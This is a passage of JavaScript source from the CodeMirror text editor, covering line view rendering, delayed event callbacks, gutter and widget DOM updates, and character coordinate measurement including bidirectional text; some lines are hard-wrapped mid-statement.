  // These objects are used to represent the visible (currently drawn)
  // part of the document. A LineView may correspond to multiple
  // logical lines, if those are connected by collapsed ranges.
  function LineView(doc, line, lineN) {
    // The starting line
    this.line = line;
    // Continuing lines, if any
    this.rest = visualLineContinued(line);
    // Number of logical lines in this visual line
    this.size = this.rest ? lineNo(lst(this.rest)) - lineN + 1 : 1;
    this.node = this.text = null;
    this.hidden = lineIsHidden(doc, line);
  }

  // Create a range of LineView objects for the given lines.
  function buildViewArray(cm, from, to) {
    var array = [], nextPos;
    for (var pos = from; pos < to; pos = nextPos) {
      var view = new LineView(cm.doc, getLine(cm.doc, pos), pos);
      nextPos = pos + view.size;
      array.push(view);
    }
    return array
  }

  var operationGroup = null;

  function pushOperation(op) {
    if (operationGroup) {
      operationGroup.ops.push(op);
    } else {
      op.ownsGroup = operationGroup = {
        ops: [op],
        delayedCallbacks: []
      };
    }
  }

  function fireCallbacksForOps(group) {
    // Calls delayed callbacks and cursorActivity handlers until no
    // new ones appear
    var callbacks = group.delayedCallbacks, i = 0;
    do {
      for (; i < callbacks.length; i++)
        { callbacks[i].call(null); }
      for (var j = 0; j < group.ops.length; j++) {
        var op = group.ops[j];
        if (op.cursorActivityHandlers)
          { while (op.cursorActivityCalled <
op.cursorActivityHandlers.length)
            {
op.cursorActivityHandlers[op.cursorActivityCalled++].call(null, op.cm); } }
      }
    } while (i < callbacks.length)
  }

  function finishOperation(op, endCb) {
    var group = op.ownsGroup;
    if (!group) { return }

    try { fireCallbacksForOps(group); }
    finally {
      operationGroup = null;
      endCb(group);
    }
  }

  var orphanDelayedCallbacks = null;

  // Often, we want to signal events at a point where we are in the
  // middle of some work, but don't want the handler to start calling
  // other methods on the editor, which might be in an inconsistent
  // state or simply not expect any other events to happen.
  // signalLater looks whether there are any handlers, and schedules
  // them to be executed when the last operation ends, or, if no
  // operation is active, when a timeout fires.
  function signalLater(emitter, type /*, values...*/) {
    var arr = getHandlers(emitter, type);
    if (!arr.length) { return }
    var args = Array.prototype.slice.call(arguments, 2), list;
    if (operationGroup) {
      list = operationGroup.delayedCallbacks;
    } else if (orphanDelayedCallbacks) {
      list = orphanDelayedCallbacks;
    } else {
      list = orphanDelayedCallbacks = [];
      setTimeout(fireOrphanDelayed, 0);
    }
    var loop = function ( i ) {
      list.push(function () { return arr[i].apply(null, args); });
    };

    for (var i = 0; i < arr.length; ++i)
      loop( i );
  }

  function fireOrphanDelayed() {
    var delayed = orphanDelayedCallbacks;
    orphanDelayedCallbacks = null;
    for (var i = 0; i < delayed.length; ++i) { delayed[i](); }
  }

  // When an aspect of a line changes, a string is added to
  // lineView.changes. This updates the relevant part of the line's
  // DOM structure.
  function updateLineForChanges(cm, lineView, lineN, dims) {
    for (var j = 0; j < lineView.changes.length; j++) {
      var type = lineView.changes[j];
      if (type == "text") { updateLineText(cm, lineView); }
      else if (type == "gutter") { updateLineGutter(cm, lineView,
lineN, dims); }
      else if (type == "class") { updateLineClasses(cm,
lineView); }
      else if (type == "widget") { updateLineWidgets(cm,
lineView, dims); }
    }
    lineView.changes = null;
  }

  // Lines with gutter elements, widgets or a background class need to
  // be wrapped, and have the extra elements added to the wrapper div
  function ensureLineWrapped(lineView) {
    if (lineView.node == lineView.text) {
      lineView.node = elt("div", null, null, "position:
relative");
      if (lineView.text.parentNode)
        { lineView.text.parentNode.replaceChild(lineView.node,
lineView.text); }
      lineView.node.appendChild(lineView.text);
      if (ie && ie_version < 8) { lineView.node.style.zIndex =
2; }
    }
    return lineView.node
  }

  function updateLineBackground(cm, lineView) {
    var cls = lineView.bgClass ? lineView.bgClass + " " +
(lineView.line.bgClass || "") : lineView.line.bgClass;
    if (cls) { cls += " CodeMirror-linebackground"; }
    if (lineView.background) {
      if (cls) { lineView.background.className = cls; }
      else {
lineView.background.parentNode.removeChild(lineView.background);
lineView.background = null; }
    } else if (cls) {
      var wrap = ensureLineWrapped(lineView);
      lineView.background = wrap.insertBefore(elt("div", null,
cls), wrap.firstChild);
      cm.display.input.setUneditable(lineView.background);
    }
  }

  // Wrapper around buildLineContent which will reuse the structure
  // in display.externalMeasured when possible.
  function getLineContent(cm, lineView) {
    var ext = cm.display.externalMeasured;
    if (ext && ext.line == lineView.line) {
      cm.display.externalMeasured = null;
      lineView.measure = ext.measure;
      return ext.built
    }
    return buildLineContent(cm, lineView)
  }

  // Redraw the line's text. Interacts with the background and text
  // classes because the mode may output tokens that influence these
  // classes.
  function updateLineText(cm, lineView) {
    var cls = lineView.text.className;
    var built = getLineContent(cm, lineView);
    if (lineView.text == lineView.node) { lineView.node = built.pre; }
    lineView.text.parentNode.replaceChild(built.pre, lineView.text);
    lineView.text = built.pre;
    if (built.bgClass != lineView.bgClass || built.textClass !=
lineView.textClass) {
      lineView.bgClass = built.bgClass;
      lineView.textClass = built.textClass;
      updateLineClasses(cm, lineView);
    } else if (cls) {
      lineView.text.className = cls;
    }
  }

  function updateLineClasses(cm, lineView) {
    updateLineBackground(cm, lineView);
    if (lineView.line.wrapClass)
      { ensureLineWrapped(lineView).className = lineView.line.wrapClass; }
    else if (lineView.node != lineView.text)
      { lineView.node.className = ""; }
    var textClass = lineView.textClass ? lineView.textClass + " "
+ (lineView.line.textClass || "") : lineView.line.textClass;
    lineView.text.className = textClass || "";
  }

  function updateLineGutter(cm, lineView, lineN, dims) {
    if (lineView.gutter) {
      lineView.node.removeChild(lineView.gutter);
      lineView.gutter = null;
    }
    if (lineView.gutterBackground) {
      lineView.node.removeChild(lineView.gutterBackground);
      lineView.gutterBackground = null;
    }
    if (lineView.line.gutterClass) {
      var wrap = ensureLineWrapped(lineView);
      lineView.gutterBackground = elt("div", null,
"CodeMirror-gutter-background " + lineView.line.gutterClass,
                                      ("left: " +
(cm.options.fixedGutter ? dims.fixedPos : -dims.gutterTotalWidth) +
"px; width: " + (dims.gutterTotalWidth) + "px"));
      cm.display.input.setUneditable(lineView.gutterBackground);
      wrap.insertBefore(lineView.gutterBackground, lineView.text);
    }
    var markers = lineView.line.gutterMarkers;
    if (cm.options.lineNumbers || markers) {
      var wrap$1 = ensureLineWrapped(lineView);
      var gutterWrap = lineView.gutter = elt("div", null,
"CodeMirror-gutter-wrapper", ("left: " +
(cm.options.fixedGutter ? dims.fixedPos : -dims.gutterTotalWidth) +
"px"));
      cm.display.input.setUneditable(gutterWrap);
      wrap$1.insertBefore(gutterWrap, lineView.text);
      if (lineView.line.gutterClass)
        { gutterWrap.className += " " +
lineView.line.gutterClass; }
      if (cm.options.lineNumbers && (!markers ||
!markers["CodeMirror-linenumbers"]))
        { lineView.lineNumber = gutterWrap.appendChild(
          elt("div", lineNumberFor(cm.options, lineN),
              "CodeMirror-linenumber CodeMirror-gutter-elt",
              ("left: " +
(dims.gutterLeft["CodeMirror-linenumbers"]) + "px; width:
" + (cm.display.lineNumInnerWidth) + "px"))); }
      if (markers) { for (var k = 0; k < cm.display.gutterSpecs.length;
++k) {
        var id = cm.display.gutterSpecs[k].className, found =
markers.hasOwnProperty(id) && markers[id];
        if (found)
          { gutterWrap.appendChild(elt("div", [found],
"CodeMirror-gutter-elt",
                                     ("left: " +
(dims.gutterLeft[id]) + "px; width: " + (dims.gutterWidth[id]) +
"px"))); }
      } }
    }
  }

  function updateLineWidgets(cm, lineView, dims) {
    if (lineView.alignable) { lineView.alignable = null; }
    var isWidget = classTest("CodeMirror-linewidget");
    for (var node = lineView.node.firstChild, next = (void 0); node; node =
next) {
      next = node.nextSibling;
      if (isWidget.test(node.className)) { lineView.node.removeChild(node);
}
    }
    insertLineWidgets(cm, lineView, dims);
  }

  // Build a line's DOM representation from scratch
  function buildLineElement(cm, lineView, lineN, dims) {
    var built = getLineContent(cm, lineView);
    lineView.text = lineView.node = built.pre;
    if (built.bgClass) { lineView.bgClass = built.bgClass; }
    if (built.textClass) { lineView.textClass = built.textClass; }

    updateLineClasses(cm, lineView);
    updateLineGutter(cm, lineView, lineN, dims);
    insertLineWidgets(cm, lineView, dims);
    return lineView.node
  }

  // A lineView may contain multiple logical lines (when merged by
  // collapsed spans). The widgets for all of them need to be drawn.
  function insertLineWidgets(cm, lineView, dims) {
    insertLineWidgetsFor(cm, lineView.line, lineView, dims, true);
    if (lineView.rest) { for (var i = 0; i < lineView.rest.length; i++)
      { insertLineWidgetsFor(cm, lineView.rest[i], lineView, dims, false);
} }
  }

  function insertLineWidgetsFor(cm, line, lineView, dims, allowAbove) {
    if (!line.widgets) { return }
    var wrap = ensureLineWrapped(lineView);
    for (var i = 0, ws = line.widgets; i < ws.length; ++i) {
      var widget = ws[i], node = elt("div", [widget.node],
"CodeMirror-linewidget" + (widget.className ? " " +
widget.className : ""));
      if (!widget.handleMouseEvents) {
node.setAttribute("cm-ignore-events", "true"); }
      positionLineWidget(widget, node, lineView, dims);
      cm.display.input.setUneditable(node);
      if (allowAbove && widget.above)
        { wrap.insertBefore(node, lineView.gutter || lineView.text); }
      else
        { wrap.appendChild(node); }
      signalLater(widget, "redraw");
    }
  }

  function positionLineWidget(widget, node, lineView, dims) {
    if (widget.noHScroll) {
  (lineView.alignable || (lineView.alignable = [])).push(node);
      var width = dims.wrapperWidth;
      node.style.left = dims.fixedPos + "px";
      if (!widget.coverGutter) {
        width -= dims.gutterTotalWidth;
        node.style.paddingLeft = dims.gutterTotalWidth + "px";
      }
      node.style.width = width + "px";
    }
    if (widget.coverGutter) {
      node.style.zIndex = 5;
      node.style.position = "relative";
      if (!widget.noHScroll) { node.style.marginLeft =
-dims.gutterTotalWidth + "px"; }
    }
  }

  function widgetHeight(widget) {
    if (widget.height != null) { return widget.height }
    var cm = widget.doc.cm;
    if (!cm) { return 0 }
    if (!contains(document.body, widget.node)) {
      var parentStyle = "position: relative;";
      if (widget.coverGutter)
        { parentStyle += "margin-left: -" +
cm.display.gutters.offsetWidth + "px;"; }
      if (widget.noHScroll)
        { parentStyle += "width: " +
cm.display.wrapper.clientWidth + "px;"; }
      removeChildrenAndAdd(cm.display.measure, elt("div",
[widget.node], null, parentStyle));
    }
    return widget.height = widget.node.parentNode.offsetHeight
  }

  // Return true when the given mouse event happened in a widget
  function eventInWidget(display, e) {
    for (var n = e_target(e); n != display.wrapper; n = n.parentNode) {
      if (!n || (n.nodeType == 1 &&
n.getAttribute("cm-ignore-events") == "true") ||
          (n.parentNode == display.sizer && n != display.mover))
        { return true }
    }
  }

  // POSITION MEASUREMENT

  function paddingTop(display) {return display.lineSpace.offsetTop}
  function paddingVert(display) {return display.mover.offsetHeight -
display.lineSpace.offsetHeight}
  function paddingH(display) {
    if (display.cachedPaddingH) { return display.cachedPaddingH }
    var e = removeChildrenAndAdd(display.measure, elt("pre",
"x", "CodeMirror-line-like"));
    var style = window.getComputedStyle ? window.getComputedStyle(e) :
e.currentStyle;
    var data = {left: parseInt(style.paddingLeft), right:
parseInt(style.paddingRight)};
    if (!isNaN(data.left) && !isNaN(data.right)) {
display.cachedPaddingH = data; }
    return data
  }

  function scrollGap(cm) { return scrollerGap - cm.display.nativeBarWidth }
  function displayWidth(cm) {
    return cm.display.scroller.clientWidth - scrollGap(cm) -
cm.display.barWidth
  }
  function displayHeight(cm) {
    return cm.display.scroller.clientHeight - scrollGap(cm) -
cm.display.barHeight
  }

  // Ensure the lineView.wrapping.heights array is populated. This is
  // an array of bottom offsets for the lines that make up a drawn
  // line. When lineWrapping is on, there might be more than one
  // height.
  function ensureLineHeights(cm, lineView, rect) {
    var wrapping = cm.options.lineWrapping;
    var curWidth = wrapping && displayWidth(cm);
    if (!lineView.measure.heights || wrapping &&
lineView.measure.width != curWidth) {
      var heights = lineView.measure.heights = [];
      if (wrapping) {
        lineView.measure.width = curWidth;
        var rects = lineView.text.firstChild.getClientRects();
        for (var i = 0; i < rects.length - 1; i++) {
          var cur = rects[i], next = rects[i + 1];
          if (Math.abs(cur.bottom - next.bottom) > 2)
            { heights.push((cur.bottom + next.top) / 2 - rect.top); }
        }
      }
      heights.push(rect.bottom - rect.top);
    }
  }

  // Find a line map (mapping character offsets to text nodes) and a
  // measurement cache for the given line number. (A line view might
  // contain multiple lines when collapsed ranges are present.)
  function mapFromLineView(lineView, line, lineN) {
    if (lineView.line == line)
      { return {map: lineView.measure.map, cache: lineView.measure.cache} }
    for (var i = 0; i < lineView.rest.length; i++)
      { if (lineView.rest[i] == line)
        { return {map: lineView.measure.maps[i], cache:
lineView.measure.caches[i]} } }
    for (var i$1 = 0; i$1 < lineView.rest.length; i$1++)
      { if (lineNo(lineView.rest[i$1]) > lineN)
        { return {map: lineView.measure.maps[i$1], cache:
lineView.measure.caches[i$1], before: true} } }
  }

  // Render a line into the hidden node display.externalMeasured. Used
  // when measurement is needed for a line that's not in the viewport.
  function updateExternalMeasurement(cm, line) {
    line = visualLine(line);
    var lineN = lineNo(line);
    var view = cm.display.externalMeasured = new LineView(cm.doc, line,
lineN);
    view.lineN = lineN;
    var built = view.built = buildLineContent(cm, view);
    view.text = built.pre;
    removeChildrenAndAdd(cm.display.lineMeasure, built.pre);
    return view
  }

  // Get a {top, bottom, left, right} box (in line-local coordinates)
  // for a given character.
  function measureChar(cm, line, ch, bias) {
    return measureCharPrepared(cm, prepareMeasureForLine(cm, line), ch,
bias)
  }

  // Find a line view that corresponds to the given line number.
  function findViewForLine(cm, lineN) {
    if (lineN >= cm.display.viewFrom && lineN <
cm.display.viewTo)
      { return cm.display.view[findViewIndex(cm, lineN)] }
    var ext = cm.display.externalMeasured;
    if (ext && lineN >= ext.lineN && lineN <
ext.lineN + ext.size)
      { return ext }
  }

  // Measurement can be split in two steps, the set-up work that
  // applies to the whole line, and the measurement of the actual
  // character. Functions like coordsChar, that need to do a lot of
  // measurements in a row, can thus ensure that the set-up work is
  // only done once.
  function prepareMeasureForLine(cm, line) {
    var lineN = lineNo(line);
    var view = findViewForLine(cm, lineN);
    if (view && !view.text) {
      view = null;
    } else if (view && view.changes) {
      updateLineForChanges(cm, view, lineN, getDimensions(cm));
      cm.curOp.forceUpdate = true;
    }
    if (!view)
      { view = updateExternalMeasurement(cm, line); }

    var info = mapFromLineView(view, line, lineN);
    return {
      line: line, view: view, rect: null,
      map: info.map, cache: info.cache, before: info.before,
      hasHeights: false
    }
  }

  // Given a prepared measurement object, measures the position of an
  // actual character (or fetches it from the cache).
  function measureCharPrepared(cm, prepared, ch, bias, varHeight) {
    if (prepared.before) { ch = -1; }
    var key = ch + (bias || ""), found;
    if (prepared.cache.hasOwnProperty(key)) {
      found = prepared.cache[key];
    } else {
      if (!prepared.rect)
        { prepared.rect = prepared.view.text.getBoundingClientRect(); }
      if (!prepared.hasHeights) {
        ensureLineHeights(cm, prepared.view, prepared.rect);
        prepared.hasHeights = true;
      }
      found = measureCharInner(cm, prepared, ch, bias);
      if (!found.bogus) { prepared.cache[key] = found; }
    }
    return {left: found.left, right: found.right,
            top: varHeight ? found.rtop : found.top,
            bottom: varHeight ? found.rbottom : found.bottom}
  }

  var nullRect = {left: 0, right: 0, top: 0, bottom: 0};

  function nodeAndOffsetInLineMap(map, ch, bias) {
    var node, start, end, collapse, mStart, mEnd;
    // First, search the line map for the text node corresponding to,
    // or closest to, the target character.
    for (var i = 0; i < map.length; i += 3) {
      mStart = map[i];
      mEnd = map[i + 1];
      if (ch < mStart) {
        start = 0; end = 1;
        collapse = "left";
      } else if (ch < mEnd) {
        start = ch - mStart;
        end = start + 1;
      } else if (i == map.length - 3 || ch == mEnd && map[i + 3]
> ch) {
        end = mEnd - mStart;
        start = end - 1;
        if (ch >= mEnd) { collapse = "right"; }
      }
      if (start != null) {
        node = map[i + 2];
        if (mStart == mEnd && bias == (node.insertLeft ?
"left" : "right"))
          { collapse = bias; }
        if (bias == "left" && start == 0)
          { while (i && map[i - 2] == map[i - 3] && map[i -
1].insertLeft) {
            node = map[(i -= 3) + 2];
            collapse = "left";
          } }
        if (bias == "right" && start == mEnd - mStart)
          { while (i < map.length - 3 && map[i + 3] == map[i +
4] && !map[i + 5].insertLeft) {
            node = map[(i += 3) + 2];
            collapse = "right";
          } }
        break
      }
    }
    return {node: node, start: start, end: end, collapse: collapse,
coverStart: mStart, coverEnd: mEnd}
  }

  function getUsefulRect(rects, bias) {
    var rect = nullRect;
    if (bias == "left") { for (var i = 0; i < rects.length;
i++) {
      if ((rect = rects[i]).left != rect.right) { break }
    } } else { for (var i$1 = rects.length - 1; i$1 >= 0; i$1--) {
      if ((rect = rects[i$1]).left != rect.right) { break }
    } }
    return rect
  }

  function measureCharInner(cm, prepared, ch, bias) {
    var place = nodeAndOffsetInLineMap(prepared.map, ch, bias);
    var node = place.node, start = place.start, end = place.end, collapse =
place.collapse;

    var rect;
    if (node.nodeType == 3) { // If it is a text node, use a range to
retrieve the coordinates.
      for (var i$1 = 0; i$1 < 4; i$1++) { // Retry a maximum of 4 times
when nonsense rectangles are returned
        while (start &&
isExtendingChar(prepared.line.text.charAt(place.coverStart + start))) {
--start; }
        while (place.coverStart + end < place.coverEnd &&
isExtendingChar(prepared.line.text.charAt(place.coverStart + end))) {
++end; }
        if (ie && ie_version < 9 && start == 0
&& end == place.coverEnd - place.coverStart)
          { rect = node.parentNode.getBoundingClientRect(); }
        else
          { rect = getUsefulRect(range(node, start, end).getClientRects(),
bias); }
        if (rect.left || rect.right || start == 0) { break }
        end = start;
        start = start - 1;
        collapse = "right";
      }
      if (ie && ie_version < 11) { rect =
maybeUpdateRectForZooming(cm.display.measure, rect); }
    } else { // If it is a widget, simply get the box for the whole widget.
      if (start > 0) { collapse = bias = "right"; }
      var rects;
      if (cm.options.lineWrapping && (rects =
node.getClientRects()).length > 1)
        { rect = rects[bias == "right" ? rects.length - 1 : 0]; }
      else
        { rect = node.getBoundingClientRect(); }
    }
    if (ie && ie_version < 9 && !start && (!rect
|| !rect.left && !rect.right)) {
      var rSpan = node.parentNode.getClientRects()[0];
      if (rSpan)
        { rect = {left: rSpan.left, right: rSpan.left +
charWidth(cm.display), top: rSpan.top, bottom: rSpan.bottom}; }
      else
        { rect = nullRect; }
    }

    var rtop = rect.top - prepared.rect.top, rbot = rect.bottom -
prepared.rect.top;
    var mid = (rtop + rbot) / 2;
    var heights = prepared.view.measure.heights;
    var i = 0;
    for (; i < heights.length - 1; i++)
      { if (mid < heights[i]) { break } }
    var top = i ? heights[i - 1] : 0, bot = heights[i];
    var result = {left: (collapse == "right" ? rect.right :
rect.left) - prepared.rect.left,
                  right: (collapse == "left" ? rect.left :
rect.right) - prepared.rect.left,
                  top: top, bottom: bot};
    if (!rect.left && !rect.right) { result.bogus = true; }
    if (!cm.options.singleCursorHeightPerLine) { result.rtop = rtop;
result.rbottom = rbot; }

    return result
  }

  // Work around problem with bounding client rects on ranges being
  // returned incorrectly when zoomed on IE10 and below.
  function maybeUpdateRectForZooming(measure, rect) {
    if (!window.screen || screen.logicalXDPI == null ||
        screen.logicalXDPI == screen.deviceXDPI ||
!hasBadZoomedRects(measure))
      { return rect }
    var scaleX = screen.logicalXDPI / screen.deviceXDPI;
    var scaleY = screen.logicalYDPI / screen.deviceYDPI;
    return {left: rect.left * scaleX, right: rect.right * scaleX,
            top: rect.top * scaleY, bottom: rect.bottom * scaleY}
  }

  function clearLineMeasurementCacheFor(lineView) {
    if (lineView.measure) {
      lineView.measure.cache = {};
      lineView.measure.heights = null;
      if (lineView.rest) { for (var i = 0; i < lineView.rest.length;
i++)
        { lineView.measure.caches[i] = {}; } }
    }
  }

  function clearLineMeasurementCache(cm) {
    cm.display.externalMeasure = null;
    removeChildren(cm.display.lineMeasure);
    for (var i = 0; i < cm.display.view.length; i++)
      { clearLineMeasurementCacheFor(cm.display.view[i]); }
  }

  function clearCaches(cm) {
    clearLineMeasurementCache(cm);
    cm.display.cachedCharWidth = cm.display.cachedTextHeight =
cm.display.cachedPaddingH = null;
    if (!cm.options.lineWrapping) { cm.display.maxLineChanged = true; }
    cm.display.lineNumChars = null;
  }

  function pageScrollX() {
    // Work around
https://bugs.chromium.org/p/chromium/issues/detail?id=489206
    // which causes page_Offset and bounding client rects to use
    // different reference viewports and invalidate our calculations.
    if (chrome && android) { return
-(document.body.getBoundingClientRect().left -
parseInt(getComputedStyle(document.body).marginLeft)) }
    return window.pageXOffset || (document.documentElement ||
document.body).scrollLeft
  }
  function pageScrollY() {
    if (chrome && android) { return
-(document.body.getBoundingClientRect().top -
parseInt(getComputedStyle(document.body).marginTop)) }
    return window.pageYOffset || (document.documentElement ||
document.body).scrollTop
  }

  function widgetTopHeight(lineObj) {
    var height = 0;
    if (lineObj.widgets) { for (var i = 0; i < lineObj.widgets.length;
++i) { if (lineObj.widgets[i].above)
      { height += widgetHeight(lineObj.widgets[i]); } } }
    return height
  }

  // Converts a {top, bottom, left, right} box from line-local
  // coordinates into another coordinate system. Context may be one of
  // "line", "div" (display.lineDiv),
"local"./null (editor), "window",
  // or "page".
  function intoCoordSystem(cm, lineObj, rect, context, includeWidgets) {
    if (!includeWidgets) {
      var height = widgetTopHeight(lineObj);
      rect.top += height; rect.bottom += height;
    }
    if (context == "line") { return rect }
    if (!context) { context = "local"; }
    var yOff = heightAtLine(lineObj);
    if (context == "local") { yOff += paddingTop(cm.display); }
    else { yOff -= cm.display.viewOffset; }
    if (context == "page" || context == "window") {
      var lOff = cm.display.lineSpace.getBoundingClientRect();
      yOff += lOff.top + (context == "window" ? 0 :
pageScrollY());
      var xOff = lOff.left + (context == "window" ? 0 :
pageScrollX());
      rect.left += xOff; rect.right += xOff;
    }
    rect.top += yOff; rect.bottom += yOff;
    return rect
  }

  // Coverts a box from "div" coords to another coordinate
system.
  // Context may be "window", "page", "div",
or "local"./null.
  function fromCoordSystem(cm, coords, context) {
    if (context == "div") { return coords }
    var left = coords.left, top = coords.top;
    // First move into "page" coordinate system
    if (context == "page") {
      left -= pageScrollX();
      top -= pageScrollY();
    } else if (context == "local" || !context) {
      var localBox = cm.display.sizer.getBoundingClientRect();
      left += localBox.left;
      top += localBox.top;
    }

    var lineSpaceBox = cm.display.lineSpace.getBoundingClientRect();
    return {left: left - lineSpaceBox.left, top: top - lineSpaceBox.top}
  }

  function charCoords(cm, pos, context, lineObj, bias) {
    if (!lineObj) { lineObj = getLine(cm.doc, pos.line); }
    return intoCoordSystem(cm, lineObj, measureChar(cm, lineObj, pos.ch,
bias), context)
  }

  // Returns a box for a given cursor position, which may have an
  // 'other' property containing the position of the secondary
cursor
  // on a bidi boundary.
  // A cursor Pos(line, char, "before") is on the same visual
line as `char - 1`
  // and after `char - 1` in writing order of `char - 1`
  // A cursor Pos(line, char, "after") is on the same visual line
as `char`
  // and before `char` in writing order of `char`
  // Examples (upper-case letters are RTL, lower-case are LTR):
  //     Pos(0, 1, ...)
  //     before   after
  // ab     a|b     a|b
  // aB     a|B     aB|
  // Ab     |Ab     A|b
  // AB     B|A     B|A
  // Every position after the last character on a line is considered to
stick
  // to the last character on the line.
  function cursorCoords(cm, pos, context, lineObj, preparedMeasure,
varHeight) {
    lineObj = lineObj || getLine(cm.doc, pos.line);
    if (!preparedMeasure) { preparedMeasure = prepareMeasureForLine(cm,
lineObj); }
    function get(ch, right) {
      var m = measureCharPrepared(cm, preparedMeasure, ch, right ?
"right" : "left", varHeight);
      if (right) { m.left = m.right; } else { m.right = m.left; }
      return intoCoordSystem(cm, lineObj, m, context)
    }
    var order = getOrder(lineObj, cm.doc.direction), ch = pos.ch, sticky =
pos.sticky;
    if (ch >= lineObj.text.length) {
      ch = lineObj.text.length;
      sticky = "before";
    } else if (ch <= 0) {
      ch = 0;
      sticky = "after";
    }
    if (!order) { return get(sticky == "before" ? ch - 1 : ch,
sticky == "before") }

    function getBidi(ch, partPos, invert) {
      var part = order[partPos], right = part.level == 1;
      return get(invert ? ch - 1 : ch, right != invert)
    }
    var partPos = getBidiPartAt(order, ch, sticky);
    var other = bidiOther;
    var val = getBidi(ch, partPos, sticky == "before");
    if (other != null) { val.other = getBidi(ch, other, sticky !=
"before"); }
    return val
  }

  // Used to cheaply estimate the coordinates for a position. Used for
  // intermediate scroll updates.
  function estimateCoords(cm, pos) {
    var left = 0;
    pos = clipPos(cm.doc, pos);
    if (!cm.options.lineWrapping) { left = charWidth(cm.display) * pos.ch;
}
    var lineObj = getLine(cm.doc, pos.line);
    var top = heightAtLine(lineObj) + paddingTop(cm.display);
    return {left: left, right: left, top: top, bottom: top +
lineObj.height}
  }

  // Positions returned by coordsChar contain some extra information.
  // xRel is the relative x position of the input coordinates compared
  // to the found position (so xRel > 0 means the coordinates are to
  // the right of the character position, for example). When outside
  // is true, that means the coordinates lie outside the line's
  // vertical range.
  function PosWithInfo(line, ch, sticky, outside, xRel) {
    var pos = Pos(line, ch, sticky);
    pos.xRel = xRel;
    if (outside) { pos.outside = outside; }
    return pos
  }

  // Compute the character position closest to the given coordinates.
  // Input must be lineSpace-local ("div" coordinate system).
  function coordsChar(cm, x, y) {
    var doc = cm.doc;
    y += cm.display.viewOffset;
    if (y < 0) { return PosWithInfo(doc.first, 0, null, -1, -1) }
    var lineN = lineAtHeight(doc, y), last = doc.first + doc.size - 1;
    if (lineN > last)
      { return PosWithInfo(doc.first + doc.size - 1, getLine(doc,
last).text.length, null, 1, 1) }
    if (x < 0) { x = 0; }

    var lineObj = getLine(doc, lineN);
    for (;;) {
      var found = coordsCharInner(cm, lineObj, lineN, x, y);
      var collapsed = collapsedSpanAround(lineObj, found.ch + (found.xRel
> 0 || found.outside > 0 ? 1 : 0));
      if (!collapsed) { return found }
      var rangeEnd = collapsed.find(1);
      if (rangeEnd.line == lineN) { return rangeEnd }
      lineObj = getLine(doc, lineN = rangeEnd.line);
    }
  }

  function wrappedLineExtent(cm, lineObj, preparedMeasure, y) {
    y -= widgetTopHeight(lineObj);
    var end = lineObj.text.length;
    var begin = findFirst(function (ch) { return measureCharPrepared(cm,
preparedMeasure, ch - 1).bottom <= y; }, end, 0);
    end = findFirst(function (ch) { return measureCharPrepared(cm,
preparedMeasure, ch).top > y; }, begin, end);
    return {begin: begin, end: end}
  }

  function wrappedLineExtentChar(cm, lineObj, preparedMeasure, target) {
    if (!preparedMeasure) { preparedMeasure = prepareMeasureForLine(cm,
lineObj); }
    var targetTop = intoCoordSystem(cm, lineObj, measureCharPrepared(cm,
preparedMeasure, target), "line").top;
    return wrappedLineExtent(cm, lineObj, preparedMeasure, targetTop)
  }

  // Returns true if the given side of a box is after the given
  // coordinates, in top-to-bottom, left-to-right order.
  function boxIsAfter(box, x, y, left) {
    return box.bottom <= y ? false : box.top > y ? true : (left ?
box.left : box.right) > x
  }

  function coordsCharInner(cm, lineObj, lineNo, x, y) {
    // Move y into line-local coordinate space
    y -= heightAtLine(lineObj);
    var preparedMeasure = prepareMeasureForLine(cm, lineObj);
    // When directly calling `measureCharPrepared`, we have to adjust
    // for the widgets at this line.
    var widgetHeight = widgetTopHeight(lineObj);
    var begin = 0, end = lineObj.text.length, ltr = true;

    var order = getOrder(lineObj, cm.doc.direction);
    // If the line isn't plain left-to-right text, first figure out
    // which bidi section the coordinates fall into.
    if (order) {
      var part = (cm.options.lineWrapping ? coordsBidiPartWrapped :
coordsBidiPart)
                   (cm, lineObj, lineNo, preparedMeasure, order, x, y);
      ltr = part.level != 1;
      // The awkward -1 offsets are needed because findFirst (called
      // on these below) will treat its first bound as inclusive,
      // second as exclusive, but we want to actually address the
      // characters in the part's range
      begin = ltr ? part.from : part.to - 1;
      end = ltr ? part.to : part.from - 1;
    }

    // A binary search to find the first character whose bounding box
    // starts after the coordinates. If we run across any whose box wrap
    // the coordinates, store that.
    var chAround = null, boxAround = null;
    var ch = findFirst(function (ch) {
      var box = measureCharPrepared(cm, preparedMeasure, ch);
      box.top += widgetHeight; box.bottom += widgetHeight;
      if (!boxIsAfter(box, x, y, false)) { return false }
      if (box.top <= y && box.left <= x) {
        chAround = ch;
        boxAround = box;
      }
      return true
    }, begin, end);

    var baseX, sticky, outside = false;
    // If a box around the coordinates was found, use that
    if (boxAround) {
      // Distinguish coordinates nearer to the left or right side of the
box
      var atLeft = x - boxAround.left < boxAround.right - x, atStart =
atLeft == ltr;
      ch = chAround + (atStart ? 0 : 1);
      sticky = atStart ? "after" : "before";
      baseX = atLeft ? boxAround.left : boxAround.right;
    } else {
      // (Adjust for extended bound, if necessary.)
      if (!ltr && (ch == end || ch == begin)) { ch++; }
      // To determine which side to associate with, get the box to the
      // left of the character and compare it's vertical position to
the
      // coordinates
      sticky = ch == 0 ? "after" : ch == lineObj.text.length ?
"before" :
        (measureCharPrepared(cm, preparedMeasure, ch - (ltr ? 1 :
0)).bottom + widgetHeight <= y) == ltr ?
        "after" : "before";
      // Now get accurate coordinates for this place, in order to get a
      // base X position
      var coords = cursorCoords(cm, Pos(lineNo, ch, sticky),
"line", lineObj, preparedMeasure);
      baseX = coords.left;
      outside = y < coords.top ? -1 : y >= coords.bottom ? 1 : 0;
    }

    ch = skipExtendingChars(lineObj.text, ch, 1);
    return PosWithInfo(lineNo, ch, sticky, outside, x - baseX)
  }

  function coordsBidiPart(cm, lineObj, lineNo, preparedMeasure, order, x,
y) {
    // Bidi parts are sorted left-to-right, and in a non-line-wrapping
    // situation, we can take this ordering to correspond to the visual
    // ordering. This finds the first part whose end is after the given
    // coordinates.
    var index = findFirst(function (i) {
      var part = order[i], ltr = part.level != 1;
      return boxIsAfter(cursorCoords(cm, Pos(lineNo, ltr ? part.to :
part.from, ltr ? "before" : "after"),
                                     "line", lineObj,
preparedMeasure), x, y, true)
    }, 0, order.length - 1);
    var part = order[index];
    // If this isn't the first part, the part's start is also
after
    // the coordinates, and the coordinates aren't on the same line as
    // that start, move one part back.
    if (index > 0) {
      var ltr = part.level != 1;
      var start = cursorCoords(cm, Pos(lineNo, ltr ? part.from : part.to,
ltr ? "after" : "before"),
                               "line", lineObj, preparedMeasure);
